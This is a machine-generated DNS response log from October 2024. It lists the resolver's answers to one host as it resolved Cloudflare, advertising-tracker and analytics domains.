Oct 16, 2024 17:56:59.081069946 CEST	1.1.1.1	192.168.2.5	0xfd27	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:56:59.105174065 CEST	1.1.1.1	192.168.2.5	0xa032	No error (0)	api.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:59.105174065 CEST	1.1.1.1	192.168.2.5	0xa032	No error (0)	api.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:59.105994940 CEST	1.1.1.1	192.168.2.5	0x631	No error (0)	api.www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:00.141464949 CEST	1.1.1.1	192.168.2.5	0xe6d9	No error (0)	api.www.cloudflare.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:00.142180920 CEST	1.1.1.1	192.168.2.5	0x5d6d	No error (0)	api.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:00.142180920 CEST	1.1.1.1	192.168.2.5	0x5d6d	No error (0)	api.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.003154993 CEST	1.1.1.1	192.168.2.5	0x15a1	No error (0)	cdn.logr-ingest.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.003154993 CEST	1.1.1.1	192.168.2.5	0x15a1	No error (0)	cdn.logr-ingest.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.003817081 CEST	1.1.1.1	192.168.2.5	0xced6	No error (0)	cdn.logr-ingest.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:01.284689903 CEST	1.1.1.1	192.168.2.5	0xc3e7	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.285257101 CEST	1.1.1.1	192.168.2.5	0x29ea	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.285397053 CEST	1.1.1.1	192.168.2.5	0x17df	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.285397053 CEST	1.1.1.1	192.168.2.5	0x17df	No error (0)	platform.twitter.map.fastly.net		199.232.188.157	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.287017107 CEST	1.1.1.1	192.168.2.5	0xc5a7	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.288036108 CEST	1.1.1.1	192.168.2.5	0xdaa	No error (0)	js.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.288036108 CEST	1.1.1.1	192.168.2.5	0xdaa	No error (0)	js.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.288676977 CEST	1.1.1.1	192.168.2.5	0x5de3	No error (0)	js.qualified.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:01.290069103 CEST	1.1.1.1	192.168.2.5	0x1d8a	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.290100098 CEST	1.1.1.1	192.168.2.5	0x73df	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.290575981 CEST	1.1.1.1	192.168.2.5	0xd56	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.290575981 CEST	1.1.1.1	192.168.2.5	0xd56	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.290575981 CEST	1.1.1.1	192.168.2.5	0xd56	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.290846109 CEST	1.1.1.1	192.168.2.5	0x325a	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.290846109 CEST	1.1.1.1	192.168.2.5	0x325a	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.293603897 CEST	1.1.1.1	192.168.2.5	0x3a4a	No error (0)	tag.demandbase.com		18.245.46.44	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.293603897 CEST	1.1.1.1	192.168.2.5	0x3a4a	No error (0)	tag.demandbase.com		18.245.46.22	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.293603897 CEST	1.1.1.1	192.168.2.5	0x3a4a	No error (0)	tag.demandbase.com		18.245.46.89	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.293603897 CEST	1.1.1.1	192.168.2.5	0x3a4a	No error (0)	tag.demandbase.com		18.245.46.25	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299222946 CEST	1.1.1.1	192.168.2.5	0xb5c8	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299222946 CEST	1.1.1.1	192.168.2.5	0xb5c8	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299485922 CEST	1.1.1.1	192.168.2.5	0x303d	No error (0)	alb.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299485922 CEST	1.1.1.1	192.168.2.5	0x303d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299485922 CEST	1.1.1.1	192.168.2.5	0x303d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299485922 CEST	1.1.1.1	192.168.2.5	0x303d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299485922 CEST	1.1.1.1	192.168.2.5	0x303d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299518108 CEST	1.1.1.1	192.168.2.5	0x6d72	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.299518108 CEST	1.1.1.1	192.168.2.5	0x6d72	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:01.300726891 CEST	1.1.1.1	192.168.2.5	0xa74	No error (0)	alb.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:02.435175896 CEST	1.1.1.1	192.168.2.5	0xe1ec	No error (0)	stats.g.doubleclick.net		173.194.76.155	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.435175896 CEST	1.1.1.1	192.168.2.5	0xe1ec	No error (0)	stats.g.doubleclick.net		173.194.76.156	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.435175896 CEST	1.1.1.1	192.168.2.5	0xe1ec	No error (0)	stats.g.doubleclick.net		173.194.76.154	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.435175896 CEST	1.1.1.1	192.168.2.5	0xe1ec	No error (0)	stats.g.doubleclick.net		173.194.76.157	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.737915039 CEST	1.1.1.1	192.168.2.5	0x7d06	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.737926960 CEST	1.1.1.1	192.168.2.5	0xcbd7	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.196.164	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.96.13	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.249.42.222	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.150.189	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.31.75	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.75.226.102	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.30.138.159	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802872896 CEST	1.1.1.1	192.168.2.5	0xd588	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.224.135	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802920103 CEST	1.1.1.1	192.168.2.5	0x2524	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802920103 CEST	1.1.1.1	192.168.2.5	0x2524	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:02.802920103 CEST	1.1.1.1	192.168.2.5	0x2524	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.054531097 CEST	1.1.1.1	192.168.2.5	0x4702	No error (0)	api.company-target.com		18.66.102.127	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.054531097 CEST	1.1.1.1	192.168.2.5	0x4702	No error (0)	api.company-target.com		18.66.102.98	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.054531097 CEST	1.1.1.1	192.168.2.5	0x4702	No error (0)	api.company-target.com		18.66.102.75	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.054531097 CEST	1.1.1.1	192.168.2.5	0x4702	No error (0)	api.company-target.com		18.66.102.85	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.148782969 CEST	1.1.1.1	192.168.2.5	0x19bb	No error (0)	r.logr-ingest.com	prod-default.lb.logrocket.network		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.148782969 CEST	1.1.1.1	192.168.2.5	0x19bb	No error (0)	prod-default.lb.logrocket.network		104.198.23.205	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.154917002 CEST	1.1.1.1	192.168.2.5	0x1c4c	No error (0)	r.logr-ingest.com	prod-default.lb.logrocket.network		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.215698957 CEST	1.1.1.1	192.168.2.5	0xac6c	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.215698957 CEST	1.1.1.1	192.168.2.5	0xac6c	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.215698957 CEST	1.1.1.1	192.168.2.5	0xac6c	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.215698957 CEST	1.1.1.1	192.168.2.5	0xac6c	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.217721939 CEST	1.1.1.1	192.168.2.5	0x716e	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.243125916 CEST	1.1.1.1	192.168.2.5	0x8e55	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.243125916 CEST	1.1.1.1	192.168.2.5	0x8e55	No error (0)	s.dsp-prod.demandbase.com		34.96.71.22	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.244090080 CEST	1.1.1.1	192.168.2.5	0xf858	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	cloudflareinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.48.180.95	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.248.235.56	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.31.75	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.172.183	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.248.198.130	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.224.135	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.110.142	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.260431051 CEST	1.1.1.1	192.168.2.5	0xea99	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.255.28.93	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.266846895 CEST	1.1.1.1	192.168.2.5	0xe28	No error (0)	cloudflareinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.266846895 CEST	1.1.1.1	192.168.2.5	0xe28	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.266846895 CEST	1.1.1.1	192.168.2.5	0xe28	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.454523087 CEST	1.1.1.1	192.168.2.5	0x1efd	No error (0)	www.linkedin.com	cf-afd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.454523087 CEST	1.1.1.1	192.168.2.5	0x1efd	No error (0)	cf-afd.www.linkedin.com	www.linkedin.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.454714060 CEST	1.1.1.1	192.168.2.5	0xa41c	No error (0)	www.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.454714060 CEST	1.1.1.1	192.168.2.5	0xa41c	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.486702919 CEST	1.1.1.1	192.168.2.5	0x261d	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.486702919 CEST	1.1.1.1	192.168.2.5	0x261d	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.486702919 CEST	1.1.1.1	192.168.2.5	0x261d	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.487428904 CEST	1.1.1.1	192.168.2.5	0x27d9	No error (0)	cdn.bizibly.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.487428904 CEST	1.1.1.1	192.168.2.5	0x27d9	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.502686977 CEST	1.1.1.1	192.168.2.5	0x97c7	No error (0)	t.co		162.159.140.229	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.507222891 CEST	1.1.1.1	192.168.2.5	0x3bec	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.507222891 CEST	1.1.1.1	192.168.2.5	0x3bec	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.507222891 CEST	1.1.1.1	192.168.2.5	0x3bec	No error (0)	s.twitter.com		104.244.42.3	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:04.507498026 CEST	1.1.1.1	192.168.2.5	0xa144	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.507498026 CEST	1.1.1.1	192.168.2.5	0xa144	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:04.510432959 CEST	1.1.1.1	192.168.2.5	0xe35c	No error (0)	id.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.161098957 CEST	1.1.1.1	192.168.2.5	0x18ba	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.162236929 CEST	1.1.1.1	192.168.2.5	0xf421	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.642918110 CEST	1.1.1.1	192.168.2.5	0xf5fa	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.642918110 CEST	1.1.1.1	192.168.2.5	0xf5fa	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.642918110 CEST	1.1.1.1	192.168.2.5	0xf5fa	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.642918110 CEST	1.1.1.1	192.168.2.5	0xf5fa	No error (0)	adobedc.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.662698984 CEST	1.1.1.1	192.168.2.5	0x9fa2	No error (0)	edge.adobedc.net	adobedc.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.666784048 CEST	1.1.1.1	192.168.2.5	0x8f5f	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.667341948 CEST	1.1.1.1	192.168.2.5	0x4a77	No error (0)	alb.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.667341948 CEST	1.1.1.1	192.168.2.5	0x4a77	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.667341948 CEST	1.1.1.1	192.168.2.5	0x4a77	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.667341948 CEST	1.1.1.1	192.168.2.5	0x4a77	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.667341948 CEST	1.1.1.1	192.168.2.5	0x4a77	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:05.668118954 CEST	1.1.1.1	192.168.2.5	0x243d	No error (0)	alb.reddit.com	dualstack.reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.668560028 CEST	1.1.1.1	192.168.2.5	0xd442	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.669178009 CEST	1.1.1.1	192.168.2.5	0x2f4c	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:05.670201063 CEST	1.1.1.1	192.168.2.5	0xd94c	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:06.085052967 CEST	1.1.1.1	192.168.2.5	0x5f01	No error (0)	tag-logger.demandbase.com		18.173.205.104	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.085052967 CEST	1.1.1.1	192.168.2.5	0x5f01	No error (0)	tag-logger.demandbase.com		18.173.205.117	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.085052967 CEST	1.1.1.1	192.168.2.5	0x5f01	No error (0)	tag-logger.demandbase.com		18.173.205.127	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.085052967 CEST	1.1.1.1	192.168.2.5	0x5f01	No error (0)	tag-logger.demandbase.com		18.173.205.94	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.234734058 CEST	1.1.1.1	192.168.2.5	0x1516	No error (0)	713-xsc-918.mktoresp.com		192.28.144.124	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.291913986 CEST	1.1.1.1	192.168.2.5	0x4584	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:06.291913986 CEST	1.1.1.1	192.168.2.5	0x4584	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.298801899 CEST	1.1.1.1	192.168.2.5	0xce7e	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:06.298801899 CEST	1.1.1.1	192.168.2.5	0xce7e	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.298801899 CEST	1.1.1.1	192.168.2.5	0xce7e	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:06.301151037 CEST	1.1.1.1	192.168.2.5	0x1778	No error (0)	di.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.090596914 CEST	1.1.1.1	192.168.2.5	0xb54d	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.090596914 CEST	1.1.1.1	192.168.2.5	0xb54d	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.091654062 CEST	1.1.1.1	192.168.2.5	0xc061	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.21.129.120	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.203.22.141	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.86.136.198	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.194.70.0	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.235.133.40	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.207.158.69	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.228.180.107	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.166207075 CEST	1.1.1.1	192.168.2.5	0x2ad0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		35.153.233.103	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:57:07.168397903 CEST	1.1.1.1	192.168.2.5	0x8d85	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.168903112 CEST	1.1.1.1	192.168.2.5	0xf4a1	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.189496994 CEST	1.1.1.1	192.168.2.5	0xa715	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.485290051 CEST	1.1.1.1	192.168.2.5	0xae48	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.493350029 CEST	1.1.1.1	192.168.2.5	0xaa8d	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 16, 2024 17:57:07.553540945 CEST	1.1.1.1	192.168.2.5	0x5e43	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
